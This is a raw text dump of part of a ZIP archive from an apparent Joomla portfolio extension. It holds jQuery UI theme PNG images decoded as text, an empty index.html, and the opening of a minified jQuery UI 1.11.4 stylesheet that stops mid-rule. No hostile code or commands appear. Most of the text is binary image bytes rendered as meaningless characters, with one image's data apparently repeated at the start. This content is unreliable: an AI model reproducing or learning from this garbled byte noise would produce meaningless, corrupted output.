s4`x#D<~؀K.4]`PDDDDDDĈqEk@A~*	!YX`hv3\LX OtJ2bؓlQI< 6-Xlֈ6H|=j`Eiq Cv:qC??x, r*tݻ}|; kP4dYf K~[	>X:+iĆQV9\e'AtOS:72YsxMہB&z>nC@r@* aӝ%MFDDDDDDTߖH,ERUnب<V-@/NmթHw*+#$oe{% 7\Xǀ2~0&nsbA,DAVI|Og鴋	7y	7Jf :_w^ H	v{/O9<Y`+ HRٰ[?
=c""""""F˽sG<*k9cE8薽zfmr1Nnqw&=O\}K`
#2~L|?m>\f͹:}4ᦋ{)n[
̰E
KYDۇ-	+Kl=ӃL`љ|%n	a	N#5	(4?EDDDD\oWFfq;\E_,W!%zE!F¶.(USHQ0dw)T8#p,xBK  *xXEe
K솎%mKX~sFE~tdc aI1Af4dHcGSB`0wev`"{	.GDDDD,dO6k"qkMefS_UKŌ&g~>n H})LF%8()r![4统qQk0m[Le_70@>1 X0AZVcEV Ltk3EJ44ZﮊN`rt>`˥		AHBLH@cUq= jcM2sJCLiR NQ0= Yi-|4V]]B^ޞ_H$<$	
a=d@	(ZAp_}~s:N {DC>m^S&, ;N&B} <_AB]HuN(B 0{h1IK Dsj'M8.ӫ1h3df}mq 	nU{Loz\=?@	((e|=ơ麄Ci1r<|OO;`HpQyzԈuZVƲ!)5mC2Lyg;֑RjWa@@VL&Wru=Z
̥=U5}7;b(nP&sk48ͥ01UWvk18dqTՌE]qH8GFK'rOrŗ6"fpT^3c"nMم-/W=tJ,X){PRm|K>mX8v 5h<_{ꘀYF|&_G;&>^W⁃&K(81EB@F&;"L'wfwE-6o&/̫'Xe,>~ee| A=)	dQ`}P[KN˂/~)O[dO=3El5'Y$?7m Tzզ.\.` WE """""v)V<KZX.Ex~Ч)ߚ W_}5|s/!?'poդtC3@Q)t`b!,dY96A2/튮ntTK>#]L;zqJr²[\-tҽ5@ͷϟnT@+; cQhC*TڙA<SkuµbE /$Z.ej_ʤrWaB6d(Ss[|竕
/5R(4X76`3|Pp'H~<R?M2)  gVpBn=|Wͬ\V0_81OׄKz||lP_ωlxX;ǀJu <Ng[]=(#]pPaisf
Vz]ౚz>Vr?f ? Q1T`} Hk,{VZˋTϛ?I̯uQKLMe͆~qym09S;j5  iQ]7k0UޭGkX3#lY_Цxj޶9`#
M	[zKuO_z˿Dܭ*kOJ(7n\eITƨl/U߶uw.~;#r.8o# 5Lh>1ipVM ?/u70 X@L+M+{Fkt{ŧ890`. ĀCR+\/tR;TӲ]aL|efđ	>ۣG|P`P8C1K՛A̍<2ۂKrl@L
L8@E>`n PNԍ,pEƆZFlÎ;F7Ȯ;
swSz)g7{rsSgȋ(߄~AWytX$NVR_<6p.O8O[OdDk>_OO}JSdmV?W(_m j~=H IԁF>T/{*]IGJ@iqamNF|Q50+ES8:v`p~vj:Bp96oys%|@H]+@t]Wk}}7FʮrAB\m-_2PY8xՎN.h~@+7z5t_//?0S>)zi0n/B`{DW#`Bo[,gFVЁpP߾C]Bz ,XXfԃA:H k7dZ9oc}o]0vd:R]0ve]刈jу|	 ?+(OǍ+	#ysߍnpFru<.HȺotM3h}߆P}˗vP}mǀ?WZ@}@@FDl   %tEXtdate:create 2015-03-11T08:47:11-07:00=l   %tEXtdate:modify 2015-03-11T07:59:35-07:00=   tEXtSoftware Adobe ImageReadyqe<    IENDB`PK       ! V      _  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/css/images/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! S^    p  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/css/images/ui-icons_ffd27a_256x240.pngnu bS        PNG

   IHDR         IJ  PLTEzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz   YtRNS 3P/"Uq@f`2!<BHK Z#'1S,4j8E|)Q$
bJmߜGc?oh@^   bKGD H   	pHYs   H   H Fk>  dIDATx]c۶H阒]Kd%٫뺮lmw]|pXm-}<w (1$	;F@%?B,Lh{t# T@/?j9	mN #+``I
_-sʹU0M[
s4`x#D<~؀K.4]`PDDDDDDĈqEk@A~*	!YX`hv3\LX OtJ2bؓlQI< 6-Xlֈ6H|=j`Eiq Cv:qC??x, r*tݻ}|; kP4dYf K~[	>X:+iĆQV9\e'AtOS:72YsxMہB&z>nC@r@* aӝ%MFDDDDDDTߖH,ERUnب<V-@/NmթHw*+#$oe{% 7\Xǀ2~0&nsbA,DAVI|Og鴋	7y	7Jf :_w^ H	v{/O9<Y`+ HRٰ[?
=c""""""F˽sG<*k9cE8薽zfmr1Nnqw&=O\}K`
#2~L|?m>\f͹:}4ᦋ{)n[
̰E
KYDۇ-	+Kl=ӃL`љ|%n	a	N#5	(4?EDDDD\oWFfq;\E_,W!%zE!F¶.(USHQ0dw)T8#p,xBK  *xXEe
K솎%mKX~sFE~tdc aI1Af4dHcGSB`0wev`"{	.GDDDD,dO6k"qkMefS_UKŌ&g~>n H})LF%8()r![4统qQk0m[Le_70@>1 X0AZVcEV Ltk3EJ44ZﮊN`rt>`˥		AHBLH@cUq= jcM2sJCLiR NQ0= Yi-|4V]]B^ޞ_H$<$	
a=d@	(ZAp_}~s:N {DC>m^S&, ;N&B} <_AB]HuN(B 0{h1IK Dsj'M8.ӫ1h3df}mq 	nU{Loz\=?@	((e|=ơ麄Ci1r<|OO;`HpQyzԈuZVƲ!)5mC2Lyg;֑RjWa@@VL&Wru=Z
̥=U5}7;b(nP&sk48ͥ01UWvk18dqTՌE]qH8GFK'rOrŗ6"fpT^3c"nMم-/W=tJ,X){PRm|K>mX8v 5h<_{ꘀYF|&_G;&>^W⁃&K(81EB@F&;"L'wfwE-6o&/̫'Xe,>~ee| A=)	dQ`}P[KN˂/~)O[dO=3El5'Y$?7m Tzզ.\.` WE """""v)V<KZX.Ex~Ч)ߚ W_}5|s/!?'poդtC3@Q)t`b!,dY96A2/튮ntTK>#]L;zqJr²[\-tҽ5@ͷϟnT@+; cQhC*TڙA<SkuµbE /$Z.ej_ʤrWaB6d(Ss[|竕
/5R(4X76`3|Pp'H~<R?M2)  gVpBn=|Wͬ\V0_81OׄKz||lP_ωlxX;ǀJu <Ng[]=(#]pPaisf
Vz]ౚz>Vr?f ? Q1T`} Hk,{VZˋTϛ?I̯uQKLMe͆~qym09S;j5  iQ]7k0UޭGkX3#lY_Цxj޶9`#
M	[zKuO_z˿Dܭ*kOJ(7n\eITƨl/U߶uw.~;#r.8o# 5Lh>1ipVM ?/u70 X@L+M+{Fkt{ŧ890`. ĀCR+\/tR;TӲ]aL|efđ	>ۣG|P`P8C1K՛A̍<2ۂKrl@L
L8@E>`n PNԍ,pEƆZFlÎ;F7Ȯ;
swSz)g7{rsSgȋ(߄~AWytX$NVR_<6p.O8O[OdDk>_OO}JSdmV?W(_m j~=H IԁF>T/{*]IGJ@iqamNF|Q50+ES8:v`p~vj:Bp96oys%|@H]+@t]Wk}}7FʮrAB\m-_2PY8xՎN.h~@+7z5t_//?0S>)zi0n/B`{DW#`Bo[,gFVЁpP߾C]Bz ,XXfԃA:H k7dZ9oc}o]0vd:R]0ve]刈jу|	 ?+(OǍ+	#ysߍnpFru<.HȺotM3h}߆P}˗vP}mǀ?WZ@}@@FDl   %tEXtdate:create 2015-03-11T08:47:11-07:00=l   %tEXtdate:modify 2015-03-11T07:59:35-07:00=   tEXtSoftware Adobe ImageReadyqe<    IENDB`PK       ! WSCH  H  }  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/css/images/ui-bg_highlight-soft_75_ffe45c_1x100.pngnu bS        PNG

   IHDR      d   t   bKGD	X   	pHYs   H   H Fk>   IDAT(1
PDSZ6M!rKJFf,>Ao`x;,,cs p>҇uQ`߯i%S)~ζrV
=O･ pl:]ZO?q|   %tEXtdate:create 2015-03-11T08:49:35-07:00:   %tEXtdate:modify 2015-03-11T08:49:35-07:00Kô    IENDB`PK       ! -J    ~  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/css/images/ui-bg_diagonals-thick_18_b81900_40x40.pngnu bS        PNG

   IHDR   (   (   Sy   bKGD	X   	pHYs   H   H Fk>   IDATh1
1F6^@-y'kZ@dyɫdLO~2z_}r9oo7[ܹ	R`65@Ui]-"Uq GfP$j̣`* fS3pTHTK:qnpt̠6I
G5Tj̦fj촸ԱӢS$j̣`* fS3pT5vZ\iѩnpt̠hp   %tEXtdate:create 2015-03-11T08:49:35-07:00:   %tEXtdate:modify 2015-03-11T08:49:35-07:00Kô    IENDB`PK       !     {  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/css/images/ui-bg_gloss-wave_35_f6a828_500x100.pngnu bS        PNG

   IHDR     d   5i   bKGD	X   	pHYs   H   H Fk>  IDATx_gULTT,`JI<Tй<VZ|De`$gp
&%|˽36'P0{|83wܜk}ɜoww     6u;      7;    `    0ظ    L 6     ;    `    0ظ    L 6     ;    `    0ظ    L 6     ;    `    0ظ    L 6     feworEjc^bپ:nPFyyu-dߛ͕^Z3WɬMfS9yk9u[z_ł7s_\+%sA_mxEa/k}X@y}#{c*?6?~}?3T     X	We~ؽM')k(Ur%	y_Mm^evVrfWCXZuXbme3/y:Q.߶S7GuUTӪdvx#^yx-G׻׾UA&     h<,ކt     H2     ;    a5vwȝq=Gz[vnWJi]YWRɑ^T}R֔:Q|RRo%͠YV+sj
=UnJU)kR-ՕFW޵N==Xj%o5F֫x,˕d6/ƔJ.^߾USaڵe+1cm)^q)S:ڤS<FW΅dj\(i<eGɑ2t>-,㭓Wz5WE3HG)veZQ{múIf^yƥ֭ٹw>%:%:3Hϸ*y{ERq    Se     &     L 6     `aU    fy	     ^     Sefa;Oz}׵SˇU2f[nqw߁
IYV
RWƱB-Uf'%S6WʎnspOل'ׂrҳ\˷v5S[nS~53|w9     eY\9pea'z{{,;:݂QyFGlҧ<<;z/EX%vT{œڦbѵ<*Y|+uuKհz"75n޺e^+*)sS
-<-ך)ޖy
xuVYW>ςmYΦwס k|i     X!|
    0 Sǽq{C˒S|gg?&S>0PtfMEΠRvt[z]4]me*բ%/wayc)
ͻWy);C>~,^+uK_ymg[%+73U,גqjV˰v?0ǿ?Ӧ6㟕޻%}7A>l*ǿ>,&Be^jixklM*}شe\sͼ*Mcϗ<yq]߸    {6qKBݼQRRQ{.ADQқk=w^tl*\ϠzUm֪LZK֫R^^^ޕJA]|e]xgkYNyk8tq~*j]WMn!eӛA=ޒo<<{2W,lӡ΀mMoNl3UO}q_otWu2zyfL)LX^W2)jX[+k=[+\[[OxןWFiJ+m+5E樓^굡oykWsIZ(]Oʛy9-ػ?yѝT     q     `',v2wsSnܓlSRѪ.%ZjnTKy%^o\yJtֳB͔oފ]͚o+1z=V؎Ru+YJu}9dk9ϫ^R5\t>'z%wbǔ%3´|Kޭ;aGgUvS$w^?^z(fᵜꫫ蟧dyf㾺%Qm|Gɋ׾]jg[]1aG3vZѥtսg{ҳkWc,+ת[U爒Me%|*ϝZ+F~=EyD4p     6y=~/~~pݢD|??.{W4][f
:'继S	  `tOYp'|?zG"k3÷'2׿v vlq6'3݅[p?z0랾I{fτG³6wvol lx{p2 Lwמ?
bOnT~4-m.|,\7
 	ép:=;ݓsSݝ፭~[Hlt7c]ݍ?սug=.;`  hKW~O  ,l}ͩӍ㾭_;4f\a  _Z>>o{z{yoL,^x/zbxBnW>Xw  0qntφ{m7óݧ˳p{w&\
<rp{wX's[O_{I	 >߱|!\N_?аpbB
_/-;5J0iG+ſX   ^C:=ץ?xp".t-G|f/9|>{뼣@	t،F/W}aKz{8}Ob|yvUKz)00;[Kʯ2|-iꛚJ?SsmӪBGѼEُLcZRK]l}}[&^Sa',~-?/_`e OãqyհfbiXbEZl4dſn    s    & w    	0˰?w     >    &<|2SG6x,w,)u=)]o;F)\@?mQϵk3(}֌>䭐Ʋӽݴ5'E,Ԋ&^5άueFd|5G|lW)y}t_x0     ^          H~     4f    3WSe     `q*    e    `ÙeT    ͆S    &@e_N'ۤ*x-}R*SؚԭqVR+^UJ"euJfzlz}G37^^5[relѕLzz#zJEyV<ک]Z<O-O=Z    N         0as    ë2     `',v6z)c.x*9ҟZ>>zWJR]t=?	d2G+-ݾ^>mkLYЂJSlz+Qfwezt˰v3/ٯ~g        LyX}6     <,     l6é2    vòU    2'U3tujJj|%u7MYU[Q+j(
lyMϣRy}mUXlFW
%>}E<V&gܻcb][rkyzr)yuIW)D$͔}czTK=ާ@>D֋fRZR{"x#[gGg3kPuN#?ۏ+w^q2=Q%tb}(lJ꠫Z^e?6llyU(Q(ӕO;_%/j]8޼uF^5fKE$sM;QuЭzv{hGuȦn~oY؞kmp+ަ{-ގ-t˶}2azS~֚v{G[b!/׵"^/k-*Į:GOd[{K(R}o5zs7u>]+*ܫVU	%9b?Rf     `%̯>[f[<F7ܪ2|+YKl&RϔڲNޟSa'\J]ۙڤ*cqOoI.tXR)TC(ʈ6z,v*֫[:Inxk>%w̋W<v.=kizfPvs+#=.oysd'[w>J$ֻ\oܗ^f]nJ|7ؾ}65J|7%5>Em_=eV /)m۵dgSWWNBʪ	zYcX˫.}(Z>tUKfJz+dPS'ZڊyOXj=JW~i     f<&uXRkƭE;7S刺v>xS*kGQJ"ڜo7AZ|צŨyn[j`-#GOp:X(T1%ǁU0} <OdK׶1&[7zԊ1%+1Wg{֔Cl[譺Cy*7忽2+UTҏS̛Q+C$#ywKæS͑Z̎Z>U=)zNz,˰vϞw     Vȼ^-mqJݯMmq:E7J-NQSjN𰕬unIzEf7oŶ^e5{׸~u+YJu}9dk9ϫ%g(g(}
ObN(Z
wMɌ0w_:_˰v,l˿׾p}`|7u]<g!F5=n.uWDG-&>WJ[ɔe%hT>Cˣn珒}ExgJUFT7Fj*تz[oFVZsDNI~ujEn<c򞹵fW2n}le     +a޿{GW?n7     <a`c_   %tEXtdate:create 2015-03-11T08:49:35-07:00:   %tEXtdate:modify 2015-03-11T08:49:35-07:00Kô    IENDB`PK       ! ~'      t  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/css/images/ui-bg_glass_65_ffffff_1x400.pngnu bS        PNG

   IHDR         G#7v   bKGD ݊   	pHYs   H   H Fk>   IDAT(ch`p h4i   %tEXtdate:create 2015-03-11T08:49:34-07:00   %tEXtdate:modify 2015-03-11T08:49:34-07:00    IENDB`PK       ! AA    u  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/css/images/ui-bg_glass_100_f6f6f6_1x400.pngnu bS        PNG

   IHDR         D   bKGD1   	pHYs   H   H Fk>   HIDAT8c5a"oK1|a~Ï?~Ne%7\(1d4F1 G#NP   %tEXtdate:create 2015-03-11T08:49:34-07:00   %tEXtdate:modify 2015-03-11T08:49:34-07:00    IENDB`PK       !       t  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/css/images/ui-bg_flat_10_000000_40x100.pngnu bS        PNG

   IHDR   (   d    O   bKGD ݊   	pHYs   H   H Fk>   IDAT(c`  X u6w   %tEXtdate:create 2015-03-11T08:49:35-07:00:   %tEXtdate:modify 2015-03-11T08:49:35-07:00Kô    IENDB`PK       ! [\  \  u  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/css/images/ui-bg_glass_100_fdf5ce_1x400.pngnu bS        PNG

   IHDR        A   bKGD	X   	pHYs   H   H Fk>   IDATH?H&](v_W`5_YmFѤt?˧;=eY<#  aƷAY&IRɆh`5`u8FD[9tF'pe ͞zΧ=W]{EpK:_0~2UE\   %tEXtdate:create 2015-03-11T08:49:35-07:00:   %tEXtdate:modify 2015-03-11T08:49:35-07:00Kô    IENDB`PK       ! |    ~  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/css/images/ui-bg_highlight-soft_100_eeeeee_1x100.pngnu bS        PNG

   IHDR      d    2   bKGD1   	pHYs   H   H Fk>   XIDAT½@@ я4tU3#U9-xy<'+w-n[bfL1&T<2GR.   %tEXtdate:create 2015-03-11T08:49:34-07:00   %tEXtdate:modify 2015-03-11T08:49:34-07:00    IENDB`PK       ! GsK{B  {B  _  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/css/jquery-ui.min.cssnu bS        /*! jQuery UI - v1.11.4 - 2015-08-21
* http://jqueryui.com
* Includes: core.css, draggable.css, resizable.css, selectable.css, sortable.css, theme.css
* To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Trebuchet%20MS%2CTahoma%2CVerdana%2CArial%2Csans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=f6a828&bgTextureHeader=gloss_wave&bgImgOpacityHeader=35&borderColorHeader=e78f08&fcHeader=ffffff&iconColorHeader=ffffff&bgColorContent=eeeeee&bgTextureContent=highlight_soft&bgImgOpacityContent=100&borderColorContent=dddddd&fcContent=333333&iconColorContent=222222&bgColorDefault=f6f6f6&bgTextureDefault=glass&bgImgOpacityDefault=100&borderColorDefault=cccccc&fcDefault=1c94c4&iconColorDefault=ef8c08&bgColorHover=fdf5ce&bgTextureHover=glass&bgImgOpacityHover=100&borderColorHover=fbcb09&fcHover=c77405&iconColorHover=ef8c08&bgColorActive=ffffff&bgTextureActive=glass&bgImgOpacityActive=65&borderColorActive=fbd850&fcActive=eb8f00&iconColorActive=ef8c08&bgColorHighlight=ffe45c&bgTextureHighlight=highlight_soft&bgImgOpacityHighlight=75&borderColorHighlight=fed22f&fcHighlight=363636&iconColorHighlight=228ef1&bgColorError=b81900&bgTextureError=diagonals_thick&bgImgOpacityError=18&borderColorError=cd0a0a&fcError=ffffff&iconColorError=ffd27a&bgColorOverlay=666666&bgTextureOverlay=diagonals_thick&bgImgOpacityOverlay=20&opacityOverlay=50&bgColorShadow=000000&bgTextureShadow=flat&bgImgOpacityShadow=10&opacityShadow=20&thicknessShadow=5px&offsetTopShadow=-5px&offsetLeftShadow=-5px&cornerRadiusShadow=5px
* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT */.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-zfix,.ui-widget-overlay{width:100%;left:0;top:0;height:100%}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:after,.ui-helper-clearfix:before{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-clearfix{min-height:0}.ui-helper-zfix{position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important}.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-overlay{position:fixed}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-autohide .ui-resizable-handle,.ui-resizable-disabled .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted #000}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-widget{font-family:Trebuchet MS,Tahoma,Verdana,Arial,sans-serif;font-size:1.1em}.ui-widget .ui-widget{font-size:1em}.ui-widget button,.ui-widget input,.ui-widget select,.ui-widget textarea{font-family:Trebuchet MS,Tahoma,Verdana,Arial,sans-serif;font-size:1em}.ui-widget-content{border:1px solid #ddd;background:url(images/ui-bg_highlight-soft_100_eeeeee_1x100.png) 50% top repeat-x #eee;color:#333}.ui-widget-content a{color:#333}.ui-widget-header{border:1px solid #e78f08;background:url(images/ui-bg_gloss-wave_35_f6a828_500x100.png) 50% 50% repeat-x #f6a828;color:#fff;font-weight:700}.ui-widget-header a{color:#fff}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default{border:1px solid #ccc;background:url(images/ui-bg_glass_100_f6f6f6_1x400.png) 50% 50% repeat-x #f6f6f6;font-weight:700;color:#1c94c4}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited{color:#1c94c4;text-decoration:none}.ui-state-focus,.ui-state-hover,.ui-widget-content .ui-state-focus,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-focus,.ui-widget-header .ui-state-hover{border:1px solid #fbcb09;background:url(images/ui-bg_glass_100_fdf5ce_1x400.png) 50% 50% repeat-x #fdf5ce;font-weight:700;color:#c77405}.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited{color:#c77405;text-decoration:none}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active{border:1px solid #fbd850;background:url(images/ui-bg_glass_65_ffffff_1x400.png) 50% 50% repeat-x #fff;font-weight:700;color:#eb8f00}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#eb8f00;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #fed22f;background:url(images/ui-bg_highlight-soft_75_ffe45c_1x100.png) 50% top repeat-x #ffe45c;color:#363636}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#363636}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #cd0a0a;background:url(images/ui-bg_diagonals-thick_18_b81900_40x40.png) 50% 50% #b81900;color:#fff}.ui-state-error a,.ui-state-error-text,.ui-widget-content .ui-state-error a,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error a,.ui-widget-header .ui-state-error-text{color:#fff}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:700}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:400}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url(images/ui-icons_222222_256x240.png)}.ui-widget-header .ui-icon{background-image:url(images/ui-icons_ffffff_256x240.png)}.ui-state-active .ui-icon,.ui-state-default .ui-icon,.ui-state-focus .ui-icon,.ui-state-hover .ui-icon{background-image:url(images/ui-icons_ef8c08_256x240.png)}.ui-state-highlight .ui-icon{background-image:url(images/ui-icons_228ef1_256x240.png)}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url(images/ui-icons_ffd27a_256x240.png)}.ui-icon-blank{background-position:16px 16px}.ui-icon-carat-1-n{background-position:0 0}.ui-icon-carat-1-ne{background-position:-16px 0}.ui-icon-carat-1-e{background-position:-32px 0}.ui-icon-carat-1-se{background-position:-48px 0}.ui-icon-carat-1-s{background-position:-64px 0}.ui-icon-carat-1-sw{background-position:-80px 0}.ui-icon-carat-1-w{background-position:-96px 0}.ui-icon-carat-1-nw{background-position:-112px 0}.ui-icon-carat-2-n-s{background-position:-128px 0}.ui-icon-carat-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-64px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-64px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:0 -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px 